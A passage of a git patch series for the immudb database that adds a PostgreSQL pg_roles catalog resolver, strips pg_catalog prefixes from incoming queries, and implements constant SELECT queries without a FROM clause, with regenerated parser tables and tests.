sql.IntegerType, + }, +} + +type pgRolesResolver struct{} + +func (r *pgRolesResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) { + users, err := tx.ListUsers(ctx) + if err != nil { + return nil, err + } + + rows := make([][]sql.ValueExp, len(users)) + for i, u := range users { + isAdmin := u.Permission() == sql.PermissionSysAdmin || u.Permission() == sql.PermissionAdmin + + rows[i] = []sql.ValueExp{ + sql.NewVarchar(u.Username()), // name + sql.NewBool(isAdmin), // rolsuper + sql.NewBool(isAdmin), // rolinherit + sql.NewBool(isAdmin), // rolcreaterole + sql.NewBool(isAdmin), // rolcreatedb + sql.NewBool(true), // rolcanlogin + sql.NewBool(false), // rolreplication + sql.NewInteger(-1), // rolconnlimit + sql.NewVarchar("********"), // rolpassword + sql.NewNull(sql.TimestampType), // rolvaliduntil + sql.NewBool(isAdmin), // rolbypassrls + sql.NewNull(sql.AnyType), // rolconfig + sql.NewNull(sql.IntegerType), // oid + } + } + + return sql.NewValuesRowReader( + tx, + nil, + pgRolesCols, + true, + alias, + rows, + ) +} + +func (r *pgRolesResolver) Table() string { + return "pg_roles" +} + +var tableResolvers = []sql.TableResolver{ + &pgClassResolver{}, + &pgNamespaceResolver{}, + &pgRolesResolver{}, +} + +func PgCatalogResolvers() []sql.TableResolver { + return tableResolvers +} diff --git a/pkg/pgsql/server/pgmeta/pg_type.go b/pkg/pgsql/server/pgmeta/pg_type.go index 7a2839290a..89ee3e5f26 100644 --- a/pkg/pgsql/server/pgmeta/pg_type.go +++ b/pkg/pgsql/server/pgmeta/pg_type.go @@ -47,6 +47,7 @@ var PgTypeMap = map[string][]int{ sql.UUIDType: {2950, 16}, //uuid sql.Float64Type: {701, 8}, //double-precision floating point number sql.JSONType: {114, -1}, //json + sql.AnyType: {17, -1}, // bytea } const PgSeverityError = "ERROR" diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 0de4e4bedd..9e6b0949ca 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -272,7 +272,11 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return err } - stmts, err := sql.ParseSQL(strings.NewReader(statements)) + stmts, err := sql.ParseSQL( + strings.NewReader( + removePGCatalogReferences(statements), + ), + ) if err != nil { return err } @@ -302,6 +306,10 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N return nil } +func removePGCatalogReferences(sql string) string { + return strings.ReplaceAll(sql, "pg_catalog.", "") +} + func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { tx, err := s.sqlTx() if err != nil { diff --git a/pkg/pgsql/server/stmts_handler.go b/pkg/pgsql/server/stmts_handler.go index 0a5e40ea22..0fb6796675 100644 --- a/pkg/pgsql/server/stmts_handler.go +++ b/pkg/pgsql/server/stmts_handler.go @@ -22,14 +22,17 @@ import ( pserr "github.com/codenotary/immudb/pkg/pgsql/errors" ) -var set = regexp.MustCompile(`(?i)set\s+.+`) -var selectVersion = regexp.MustCompile(`(?i)select\s+version\(\s*\)`) -var dealloc = regexp.MustCompile(`(?i)deallocate\s+\"([^\"]+)\"`) +var ( + set = regexp.MustCompile(`(?i)set\s+.+`) + selectVersion = regexp.MustCompile(`(?i)select\s+version\(\s*\)`) + dealloc = regexp.MustCompile(`(?i)deallocate\s+\"([^\"]+)\"`) +) func (s *session) isInBlackList(statement string) bool { if set.MatchString(statement) { return true } + if statement == ";" { return true } diff --git a/pkg/server/server.go b/pkg/server/server.go index 93d90f683d..e864ca963e 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -278,7 +278,6 @@ func (s *ImmuServer) Initialize() error { return err } } - return err } From cdd00cbb9a09d1981bf0d1a54b42eb20f5d1f573 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 13 Dec 2024 09:23:41 +0100 Subject: [PATCH 1062/1062] Implement constant selection queries Signed-off-by: Stefano Scafiti --- embedded/sql/engine_test.go | 17 ++ embedded/sql/parser_test.go | 13 + embedded/sql/proj_row_reader.go | 4 + embedded/sql/sql_grammar.y | 10 + embedded/sql/sql_parser.go | 337 +++++++++++++------------ embedded/sql/stmt_test.go | 3 +- pkg/pgsql/server/query_machine_test.go | 11 + 7 files changed, 229 insertions(+), 166 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 166bcc1df4..95ca5084de 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -3153,6 +3153,23 @@ func TestQuery(t *testing.T) { require.Equal(t, expectedRows[i].ValuesByPosition, row.ValuesByPosition) } }) + + t.Run("constant selection query", func(t *testing.T) { + _, err := engine.queryAll( + context.Background(), + nil, + "SELECT *", + nil, + ) + require.ErrorContains(t, err, "SELECT * with no tables specified is not valid") + + assertQueryShouldProduceResults( + t, + engine, + "SELECT 1, true, 'test'", + "SELECT * FROM (VALUES (1, true, 'test'))", + ) + }) } func TestJSON(t *testing.T) { diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 1970004c13..cfda66eb08 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -898,6 +898,19 @@ func TestSelectStmt(t *testing.T) { expectedOutput []SQLStmt expectedError error }{ + { + input: "SELECT 1, true, 'test'", + expectedOutput: []SQLStmt{ + &SelectStmt{ + targets: []TargetEntry{ + {Exp: &Integer{1}}, + {Exp: &Bool{true}}, + {Exp: &Varchar{"test"}}, + }, + ds: &valuesDataSource{rows: []*RowSpec{{}}}, + }, + }, + }, { input: "SELECT id, title FROM table1", expectedOutput: []SQLStmt{ diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index f2f0a1ffbe..e2e98e6ddb 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -36,6 +36,10 @@ func newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias return nil, err } + if len(cols) == 0 { + return nil, fmt.Errorf("SELECT * with no tables specified is not valid") + } + for _, col := range cols { targets = append(targets, TargetEntry{ Exp: &ColSelector{ diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index dff45b6d3b..b2575d68f6 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -717,6 +717,16 @@ select_stmt: SELECT opt_distinct opt_targets FROM ds opt_indexon opt_joins opt_w offset: $13, } } +| + SELECT opt_distinct opt_targets + { + $$ = &SelectStmt{ + distinct: $2, + targets: $3, + ds: &valuesDataSource{rows: []*RowSpec{{}}}, + } + } +; opt_all: { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 157d0b33f8..7beccc19fd 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -302,15 +302,15 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 97, - 78, 194, - 81, 194, - -2, 175, + 78, 195, + 81, 195, + -2, 176, -1, 272, - 59, 146, - -2, 141, + 59, 147, + -2, 142, -1, 322, - 59, 146, - -2, 143, + 59, 147, + -2, 144, } const yyPrivate = 57344 @@ -450,17 +450,17 @@ var yyR1 = [...]int8{ 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 8, 8, 9, 50, 50, 50, 57, 57, 58, 58, 58, 6, 6, 6, - 6, 6, 6, 6, 6, 7, 24, 24, 23, 23, - 48, 48, 49, 49, 20, 20, 20, 20, 21, 21, - 22, 22, 25, 25, 25, 25, 25, 25, 25, 25, - 25, 27, 28, 29, 29, 29, 30, 30, 30, 31, - 31, 32, 32, 33, 33, 34, 35, 35, 39, 39, - 44, 44, 40, 40, 45, 45, 46, 46, 53, 53, - 55, 55, 52, 52, 54, 54, 54, 51, 51, 51, - 36, 36, 36, 38, 38, 37, 37, 37, 37, 37, - 37, 37, 37, 37, 37, 47, 66, 66, 42, 42, - 41, 41, 41, 41, 59, 59, 43, 43, 43, 43, - 43, 43, 43, 43, 43, 43, + 6, 6, 6, 6, 6, 7, 7, 24, 24, 23, + 23, 48, 48, 49, 49, 20, 20, 20, 20, 21, + 21, 22, 22, 25, 25, 25, 25, 25, 25, 25, + 25, 25, 27, 28, 29, 29, 29, 30, 30, 30, + 31, 31, 32, 32, 33, 33, 34, 35, 35, 39, + 39, 44, 44, 40, 40, 45, 45, 46, 46, 53, + 53, 55, 55, 52, 52, 54, 54, 54, 51, 51, + 51, 36, 36, 36, 38, 38, 37, 37, 37, 37, + 37, 37, 37, 37, 37, 37, 47, 66, 66, 42, + 42, 41, 41, 41, 41, 59, 59, 43, 43, 43, + 43, 43, 43, 43, 43, 43, 43, } var yyR2 = [...]int8{ @@ -474,17 +474,17 @@ var yyR2 = [...]int8{ 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, 1, 2, 1, 4, 2, - 2, 3, 2, 2, 4, 13, 0, 1, 0, 1, - 1, 1, 2, 4, 1, 2, 4, 4, 2, 3, - 1, 3, 3, 4, 4, 4, 4, 4, 4, 2, - 6, 1, 2, 0, 2, 2, 0, 2, 2, 2, - 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, - 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, - 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, - 0, 4, 6, 0, 1, 1, 1, 2, 2, 4, - 3, 4, 6, 6, 1, 5, 4, 5, 0, 2, - 1, 1, 3, 3, 0, 1, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 4, + 2, 3, 2, 2, 4, 13, 3, 0, 1, 0, + 1, 1, 1, 2, 4, 1, 2, 4, 4, 2, + 3, 1, 3, 3, 4, 4, 4, 4, 4, 4, + 2, 6, 1, 2, 0, 2, 2, 0, 2, 2, + 2, 1, 0, 1, 1, 2, 6, 0, 1, 0, + 2, 0, 3, 0, 2, 0, 2, 0, 2, 0, + 3, 0, 4, 2, 4, 0, 1, 1, 0, 1, + 2, 0, 4, 6, 0, 1, 1, 1, 2, 2, + 4, 3, 4, 6, 6, 1, 5, 4, 5, 0, + 2, 1, 1, 3, 3, 0, 1, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ @@ -537,48 +537,48 @@ var yyChk = [...]int16{ var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 97, 0, 108, 2, 5, 9, 47, 47, 47, 0, - 0, 14, 0, 133, 0, 0, 0, 0, 0, 0, + 97, 0, 109, 2, 5, 9, 47, 47, 47, 0, + 0, 14, 0, 134, 0, 0, 0, 0, 0, 0, 0, 34, 36, 37, 38, 39, 40, 41, 42, 0, - 0, 0, 0, 0, 131, 106, 99, 100, 0, 102, - 103, 0, 109, 3, 0, 0, 0, 0, 47, 0, - 15, 16, 136, 0, 0, 18, 0, 0, 30, 0, - 0, 0, 33, 0, 0, 0, 0, 148, 0, 0, - 107, 101, 0, 0, 110, 111, 167, -2, 176, 0, - 0, 0, 184, 190, 191, 0, 173, 114, 0, 75, - 76, 77, 78, 79, 0, 81, 82, 83, 84, 120, - 13, 0, 0, 0, 0, 0, 132, 0, 0, 134, - 0, 140, 135, 0, 0, 0, 0, 0, 0, 0, - 35, 0, 62, 0, 160, 0, 148, 59, 0, 98, - 104, 0, 0, 112, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 168, 0, 0, 0, 0, 195, 177, - 178, 0, 0, 0, 174, 115, 0, 0, 0, 71, - 0, 48, 0, 0, 0, 0, 137, 138, 139, 0, + 0, 0, 0, 0, 132, 107, 99, 100, 0, 102, + 103, 0, 110, 3, 0, 0, 0, 0, 47, 0, + 15, 16, 137, 0, 0, 18, 0, 0, 30, 0, + 0, 0, 33, 0, 0, 0, 0, 149, 0, 0, + 108, 101, 0, 106, 111, 112, 168, -2, 177, 0, + 0, 0, 185, 191, 192, 0, 174, 115, 0, 75, + 76, 77, 78, 79, 0, 81, 82, 83, 84, 121, + 13, 0, 0, 0, 0, 0, 133, 0, 0, 135, + 0, 141, 136, 0, 0, 0, 0, 0, 0, 0, + 35, 0, 62, 0, 161, 0, 149, 59, 0, 98, + 104, 0, 0, 113, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 169, 0, 0, 0, 0, 196, 178, + 179, 0, 0, 0, 175, 116, 0, 0, 0, 71, + 0, 48, 0, 0, 0, 0, 138, 139, 140, 0, 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 63, 67, 0, 154, 0, 149, 160, 0, 0, 160, - 133, 0, 0, 0, 0, 0, 167, 131, 167, 196, - 197, 198, 199, 200, 201, 202, 203, 204, 0, 169, - 0, 0, 180, 193, 0, 192, 188, 0, 0, 118, - 0, 0, 120, 0, 0, 72, 73, 121, 0, 86, + 63, 67, 0, 155, 0, 150, 161, 0, 0, 161, + 134, 0, 0, 0, 0, 0, 168, 132, 168, 197, + 198, 199, 200, 201, 202, 203, 204, 205, 0, 170, + 0, 0, 181, 194, 0, 193, 189, 0, 0, 119, + 0, 0, 121, 0, 0, 72, 73, 122, 0, 86, 0, 0, 0, 43, 0, 23, 24, 0, 26, 27, - 43, 0, 0, 0, 0, 0, 156, 0, 0, 154, - 60, 61, -2, 167, 0, 0, 0, 0, 0, 0, - 0, 129, 113, 205, 179, 0, 181, 0, 0, 0, - 0, 119, 116, 117, 0, 85, 0, 170, 89, 0, + 43, 0, 0, 0, 0, 0, 157, 0, 0, 155, + 60, 61, -2, 168, 0, 0, 0, 0, 0, 0, + 0, 130, 114, 206, 180, 0, 182, 0, 0, 0, + 0, 120, 117, 118, 0, 85, 0, 171, 89, 0, 0, 28, 44, 45, 46, 21, 0, 29, 0, 0, - 57, 0, 56, 68, 52, 53, 0, 155, 0, 156, - 148, 142, -2, 0, 147, 122, 0, 64, 71, 167, - 0, 167, 167, 0, 167, 0, 0, 185, 0, 189, + 57, 0, 56, 68, 52, 53, 0, 156, 0, 157, + 149, 143, -2, 0, 148, 123, 0, 64, 71, 168, + 0, 168, 168, 0, 168, 0, 0, 186, 0, 190, 0, 0, 74, 0, 87, 0, 0, 94, 0, 0, - 19, 0, 25, 31, 32, 51, 0, 55, 157, 161, - 49, 0, 54, 150, 144, 0, 0, 123, 0, 124, - 0, 125, 126, 127, 128, 182, 183, 0, 186, 80, + 19, 0, 25, 31, 32, 51, 0, 55, 158, 162, + 49, 0, 54, 151, 145, 0, 0, 124, 0, 125, + 0, 126, 127, 128, 129, 183, 184, 0, 187, 80, 0, 0, 0, 92, 95, 0, 0, 0, 20, 0, - 0, 152, 0, 160, 65, 66, 167, 187, 0, 170, - 0, 88, 93, 96, 90, 91, 0, 50, 158, 0, - 0, 0, 130, 0, 171, 0, 58, 154, 0, 153, - 151, 69, 0, 17, 170, 156, 0, 0, 145, 172, - 105, 159, 164, 70, 0, 162, 165, 166, 164, 163, + 0, 153, 0, 161, 65, 66, 168, 188, 0, 171, + 0, 88, 93, 96, 90, 91, 0, 50, 159, 0, + 0, 0, 131, 0, 172, 0, 58, 155, 0, 154, + 152, 69, 0, 17, 171, 157, 0, 0, 146, 173, + 105, 160, 165, 70, 0, 163, 166, 167, 165, 164, } var yyTok1 = [...]int8{ @@ -1481,369 +1481,378 @@ yydefault: } } case 106: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + distinct: yyDollar[2].distinct, + targets: yyDollar[3].targets, + ds: &valuesDataSource{rows: []*RowSpec{{}}}, + } + } + case 107: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 107: + case 108: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 108: + case 109: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 109: + case 110: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 110: + case 111: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.targets = nil } - case 111: + case 112: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.targets = yyDollar[1].targets } - case 112: + case 113: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.targets = []TargetEntry{{Exp: yyDollar[1].exp, As: yyDollar[2].id}} } - case 113: + case 114: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.targets = append(yyDollar[1].targets, TargetEntry{Exp: yyDollar[3].exp, As: yyDollar[4].id}) } - case 114: + case 115: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 115: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields} } - case 116: + case 117: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 117: + case 118: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 118: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.jsonFields = []string{yyDollar[2].str} } - case 119: + case 120: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str) } - case 120: + case 121: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 121: + case 122: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 122: + case 123: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 123: + case 124: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &valuesDataSource{inferTypes: true, rows: yyDollar[3].rows} } - case 124: + case 125: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 125: + case 126: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 126: + case 127: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 127: + case 128: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } - case 128: + case 129: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 129: + case 130: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 130: + case 131: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 131: + case 132: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 132: + case 133: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 133: + case 134: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 134: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 135: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 136: + case 137: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 137: + case 138: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 138: + case 139: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 139: + case 140: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 140: + case 141: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 141: + case 142: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 142: + case 143: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 143: + case 144: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 144: + case 145: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 145: + case 146: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 146: + case 147: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 147: + case 148: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 148: + case 149: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 149: + case 150: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 150: + case 151: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 151: + case 152: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 152: + case 153: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 153: + case 154: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 154: + case 155: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 155: + case 156: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 156: + case 157: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 157: + case 158: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 158: + case 159: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordexps = nil } - case 159: + case 160: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordexps = yyDollar[3].ordexps } - case 160: + case 161: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 161: + case 162: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 162: + case 163: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordexps = []*OrdExp{{exp: yyDollar[1].exp, descOrder: yyDollar[2].opt_ord}} } - case 163: + case 164: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordexps = append(yyDollar[1].ordexps, &OrdExp{exp: yyDollar[3].exp, descOrder: yyDollar[4].opt_ord}) } - case 164: + case 165: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 165: + case 166: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 166: + case 167: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 167: + case 168: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 168: + case 169: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 169: + case 170: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 170: + case 171: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.checks = nil } - case 171: + case 172: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{exp: yyDollar[2].exp}}, yyDollar[4].checks...) } - case 172: + case 173: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{name: yyDollar[2].id, exp: yyDollar[4].exp}}, yyDollar[6].checks...) } - case 173: + case 174: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 174: + case 175: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 175: + case 176: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 176: + case 177: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 177: + case 178: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 178: + case 179: yyDollar = yyS[yypt-2 : yypt+1] { i, isInt := yyDollar[2].exp.(*Integer) @@ -1854,37 +1863,37 @@ yydefault: yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } } - case 179: + case 180: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 180: + case 181: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: true, pattern: yyDollar[3].exp} } - case 181: + case 182: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 182: + case 183: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 183: + case 184: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 184: + case 185: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 185: + case 186: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.exp = &CaseWhenExp{ @@ -1893,102 +1902,102 @@ yydefault: elseExp: yyDollar[4].exp, } } - case 186: + case 187: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}} } - case 187: + case 188: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp}) } - case 188: + case 189: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 189: + case 190: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 190: + case 191: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 191: + case 192: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 192: + case 193: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 193: + case 194: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 194: + case 195: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 195: + case 196: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 196: + case 197: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 197: + case 198: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 198: + case 199: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 199: + case 200: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 200: + case 201: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} } - case 201: + case 202: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: And, right: yyDollar[3].exp} } - case 202: + case 203: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: Or, right: yyDollar[3].exp} } - case 203: + case 204: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 204: + case 205: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 205: + case 206: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index a3ecc3350d..e04ed3c95d 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -1459,10 +1459,9 @@ func TestDistinctRowReaderErrors(t *testing.T) { } reader, err := stmt.Resolve(context.Background(), nil, nil, nil) - require.ErrorIs(t, err, errDummy) + require.Error(t, err) 